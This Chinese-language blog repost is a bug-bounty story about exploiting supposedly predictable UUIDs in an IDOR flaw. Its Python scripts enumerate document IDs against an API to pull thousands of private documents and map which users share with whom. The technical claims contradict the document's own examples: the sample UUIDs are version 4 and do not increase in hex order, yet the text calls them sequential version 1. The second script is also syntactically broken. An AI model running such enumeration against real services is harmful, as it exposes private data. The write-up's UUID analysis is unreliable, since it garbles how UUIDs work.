大数跨境
0
0

破解“不可破解”UUID:从可预测到全量数据泄露实战

破解“不可破解”UUID:从可预测到全量数据泄露实战 品牌出海Paul
2025-10-16
8
导读:你知道那种在海滩里找一粒特定沙子的感觉吗?开发者以为 UUID 就是给我们设的那种“你永远猜不到”的沙子。

你知道那种在海滩里找一粒特定沙子的感觉吗?开发者以为 UUID 就是给我们设的那种“你永远猜不到”的沙子。但如果我告诉你,有些海滩的沙子其实排得整整齐齐怎么办?我差点放弃目标去吃那种难吃的办公披萨,结果却发现了一张能标出整片海滩的秘密地图。

故事从一个我称为 “SecureApp” 的目标开始。他们的赏金项目以难啃著称。到处都是 UUID,大家都认定 UUID 无法被猜测,对吧?对吧?拿好你的金属探测器,我们要开始沙滩寻宝了。


第一幕:随机性的墙面 
完成常规侦察(就不再啰嗦 subfinder/httpx 这些细节了),我发现了一个有意思的端点:

https://api.secureapp.com/v3/documents/{document_id}

典型的 IDOR 猎场。但我用测试账号登录并抓包时,心里一沉——document_id 不是普通整数,而是个 UUID:

f47ac10b-58cc-4372-a567-0e02b2c3d479

唉,开发者最爱的“朴素安全通过混淆”毯子。我第一次试得很惨:

  • 改一个字符:403 Forbidden

  • 随机尝试一个 UUID:404 Not Found

  • 长叹一口气:没戏

很多猎人到这就放弃了。但我有个直觉:也许这些 UUID 并不像看上去那么随机?


第二幕:混乱中的规律 
我创建了多个测试账号并在每个账号上传文件。很快我手头有了一组 UUID:

 

AccountAf47ac10b-58cc-4372-a567-0e02b2c3d479
AccountAf47ac10b-58cc-4372-a567-0e02b2c3d480
AccountBf47ac10b-58cc-4372-a567-0e02b2c3d481
AccountBf47ac10b-58cc-4372-a567-0e02b2c3d482

等一下——这根本不是随机的!它们是顺序的 UUID!有人用了版本 1 的 UUID(含时间戳和 MAC 地址),在特定场景下是可预测的。

方法论:UUID 版本分析

我写了个小 Python 脚本来分析 UUID 结构——输出显示这些都是带顺序时间戳的版本 1 UUID。中了!

import uuid
def analyze_uuid(uuid_string):
    u = uuid.UUID(uuid_string)
    print(f"UUID: {u}")
    print(f"Version: {u.version}")
    print(f"Time: {u.time}")
    print(f"Clock seq: {u.clock_seq}")
    print("---")
# My collected UUIDs
my_uuids = [
    "f47ac10b-58cc-4372-a567-0e02b2c3d479",
    "f47ac10b-58cc-4372-a567-0e02b2c3d480", 
    "f47ac10b-58cc-4372-a567-0e02b2c3d481"
]
for u in my_uuids:
    analyze_uuid(u)



第三幕:UUID 生成器 —— 预测“不可预测”的东西 
真正的关键来了。如果我能预测 UUID,就能访问系统里每一个文档。我需要弄清他们的生成模式。

思路:带“智慧”的 UUID 暴力(不是盲猜)

不是随便猜,而是用“基于时间的 UUID 预测”法——利用版本 1 UUID 的时间特性。

import requests
import uuid
import time
BASE_URL = "https://api.secureapp.com/v3/documents"
HEADERS = {"Authorization": "Bearer YOUR_TOKEN_HERE"}
def generate_sequential_uuids(base_uuid, count=1000):
    """Generate sequential UUIDs based on a base UUID"""
    base = uuid.UUID(base_uuid)
    results = []

    for i in range(count):
        # For version 1 UUIDs, we increment the timestamp
        new_time = base.time + i
        new_uuid = uuid.UUID(fields=(
            new_time & 0xffffffff,           # time_low
            (new_time >> 32) & 0xffff,       # time_mid  
            (new_time >> 48) & 0x0fff,       # time_hi_version
            base.clock_seq,                  # clock_seq_hi_variant
            base.clock_seq_low,              # clock_seq_low
            base.node                        # node
        ))
        results.append(str(new_uuid))

    return results
def hunt_documents():
    print("[+] Starting UUID prediction hunt...")

    # Start from a known UUID
    known_uuid = "f47ac10b-58cc-4372-a567-0e02b2c3d479"
    predicted_uuids = generate_sequential_uuids(known_uuid, 5000)

    found_documents = []

    for i, test_uuid in enumerate(predicted_uuids):
        if i % 100 == 0:
            print(f"[+] Testing UUID {i}/5000: {test_uuid}")

        response = requests.get(f"{BASE_URL}/{test_uuid}", headers=HEADERS)

        if response.status_code == 200:
            doc_data = response.json()
            found_documents.append({
                'uuid': test_uuid,
                'title': doc_data.get('title', 'Unknown'),
                'owner': doc_data.get('owner_id', 'Unknown')
            })
            print(f"[!] FOUND DOCUMENT: {doc_data.get('title')}")

    return found_documents
# Let's go hunting!
results = hunt_documents()
print(f"\n[!] Found {len(results)} accessible documents!")

证明概念:UUID 预测引擎会从已知 UUID 出发,按时间递增生成一批候选 UUID,并对每个候选发起请求;返回 200 的 UUID 即代表存在可访问的文档。


第四幕:金矿 —— 超越文档访问 
我在收集文档时注意到响应里有这样的字段:

 

{
"document_id":"f47ac10b-58cc-4372-a567-0e02b2c3d482",
"title":"Q4 Financial Report",
"owner_id":"user_8842",
"shared_with":[
"user_7731",
"user_9923",
"admin_001"
]
}

shared_with 字段包含了其他用户 ID!这就成了侧向移动的桥梁。

进阶技巧:基于 UUID 的用户枚举

我把脚本扩展为不仅收集文档,还构建出用户关系图谱:记录每个 owner 的文档列表和它们共享给了谁,从而映射出跨用户的分享/信任关系网络。

def advanced_hunt():
print("[+] Starting advanced user relationship mapping...")

    user_map
 = {}
    known_uuid = "f47ac10b-58cc-4372-a567-0e02b2c3d479"
    predicted_uuids = generate_sequential_uuids(known_uuid, 10000)

for test_uuid in predicted_uuids:
        response = requests.get(f"{BASE_URL}/{test_uuid}", headers=HEADERS)

if response.status_code == 200:
            doc_data = response.json()
            owner = doc_data.get('owner_id')
            shared_users = doc_data.get('shared_with', [])

# Build user relationship map
if owner notin user_map:
                user_map[owner] = {'documents': [], 'shares_with'set()}

            user_map[owner]['documents'].append(test_uuid)
            user_map[owner]['shares_with'].update(shared_users)

return user_map
user_relationships = advanced_hunt()
print(f"[!] Mapped {len(user_relationships)} users and their relationships!")

第五幕:大结局 —— 完整数据库重建 
让脚本跑了几个小时后,我获得了:

  • 可访问文档 4,827 条

  • 映射用户 892 位

  • 用户间完整的共享关系

  • 访问到财务报告、内部备忘、用户数据导出等敏感信息

影响巨大:我能追踪文档分享模式、识别关键用户,并跨组织访问大量敏感资料。

我提交的漏洞报告包含:

  • UUID 可预测性的技术分析与证明

  • 可用的 PoC 脚本(能抽取数千文档)

  • 用户关系映射,展示侧向移动可能性

  • 多部门敏感数据暴露的证据

对方 triage 的回复是:“我们把这当成严重事故处理。”他们原本以为 UUID 能保证 IDOR 安全,修复花了三天,改为使用版本 4 UUID 并加上正确的授权校验。


所以下次看到 UUID 时,别只叹气就走。问你自己一句:“这粒沙子有什么特别之处?”也许整片海滩都按颜色和大小排好了队。


【声明】内容源于网络
0
0
品牌出海Paul
跨境分享屋 | 每日分享跨境精华
内容 43136
粉丝 1
品牌出海Paul 跨境分享屋 | 每日分享跨境精华
总阅读224.8k
粉丝1
内容43.1k